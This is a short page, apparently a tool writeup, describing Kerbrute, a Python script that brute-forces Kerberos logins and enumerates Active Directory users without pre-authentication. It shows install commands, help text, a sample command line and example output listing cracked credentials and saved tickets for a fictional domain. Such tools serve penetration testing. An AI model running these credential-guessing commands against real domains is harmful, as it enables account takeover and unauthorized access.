Kerbrute - An Script To Perform Kerberos Bruteforcing By Using Impacket

An script to perform kerberos bruteforcing by using the Impacket library.

When is executed, as input it receives a user or list of users and a password or list of password. Then is performs a brute-force attack to enumerate:

  • Valid username/passwords pairs
  • Valid usernames
  • Usernames without pre-authentication required

As a result, the script generates a list of valid credentials discovered, and the TGT's generated due those valid credentials.


From pypi:

pip3 install kerbrute

From repo:

git clone https://github.com/TarlogicSecurity/kerbrutecd kerbrutepip install -r requirements.txt


Help without arguments:

[email protected]:~# kerbruteImpacket v0.9.18 - Copyright 2018 SecureAuth Corporationusage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)                   [-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN                   [-dc-ip <ip_address>] [-threads THREADS]                   [-outputfile OUTPUTFILE] [-no-save-ticket]optional arguments:  -h, --help            show this help message and exit  -debug                Turn DEBUG output ON  -user USER            User to perform bruteforcing  -users USERS          File with user per line  -password PASSWORD    Password to perform bruteforcing  -passwords PASSWORDS  File with password per line  -domain DOMAIN        Domain to perform bruteforcing  -dc-ip <ip_address>   IP Address of the domain controller  -threads THREADS      Number    of threads to perform bruteforcing. Default = 1  -outputfile OUTPUTFILE                        File to save discovered user:password  -no-save-ticket       Do not save retrieved TGTs with correct credentialsExamples: 	./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com

Example of execution:

velociraptor [NOT PREAUTH] [*] Valid user => trex [*] Saved discovered passwords in jurassic_passwords.txt">
[email protected]:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txtImpacket v0.9.18 - Copyright 2018 SecureAuth Corporation[*] Stupendous => triceratops:Sh4rpH0rns[*] Saved TGT in triceratops.ccache[*] Valid user => velociraptor [NOT PREAUTH][*] Valid user => trex[*] Saved discovered passwords in jurassic_passwords.txt

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